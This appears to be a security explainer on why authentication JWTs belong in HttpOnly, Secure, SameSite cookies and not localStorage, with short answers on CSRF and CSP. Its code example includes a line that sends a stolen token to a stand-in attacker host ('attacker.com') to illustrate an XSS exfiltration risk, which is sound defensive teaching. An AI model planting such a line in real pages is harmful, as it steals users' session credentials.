Why Shouldn't You Store JWTs in LocalStorage?
You should not store authentication JWTs in localStorage because any Cross-Site Scripting (XSS) vulnerability on your page allows malicious JavaScript to instantly read and exfiltrate the token. Storing tokens in HttpOnly, Secure, SameSite cookies protects them from JavaScript access.
Detailed Technical Explanation
Web Storage (`localStorage` and `sessionStorage`) is completely accessible to all JavaScript executing within the same origin. If an attacker injects a malicious script via an unescaped comment, compromised npm package, or third-party ad script, they can execute `localStorage.getItem("token")` and transmit the victim's session to a remote server. In contrast, cookies flagged with `HttpOnly` cannot be read by `document.cookie` or client scripts, providing defense-in-depth against credential theft.
Technical Example & Code
Demonstrating how easily localStorage tokens can be stolen compared to HttpOnly cookies.
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"Browsers enforce security boundaries based on origins. While localStorage enforces the Same-Origin Policy against cross-site reads, it provides zero internal isolation against scripts running within the same page context. Because XSS allows arbitrary script execution within the origin, localStorage offers no barrier to credential harvesting once XSS occurs."
Common Misconception vs Reality
"Storing JWTs in cookies is worse than localStorage because cookies are automatically vulnerable to CSRF."
Modern browsers support the `SameSite=Lax` or `SameSite=Strict` cookie attribute, which automatically withholds cookies on cross-origin requests, effectively neutralizing CSRF without exposing tokens to XSS.
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
Related Topic Ecosystem & Next Steps
Related Technical Articles
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
Hands-On Diagnostic Labs
Developer References & Specifications
Continue Learning
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.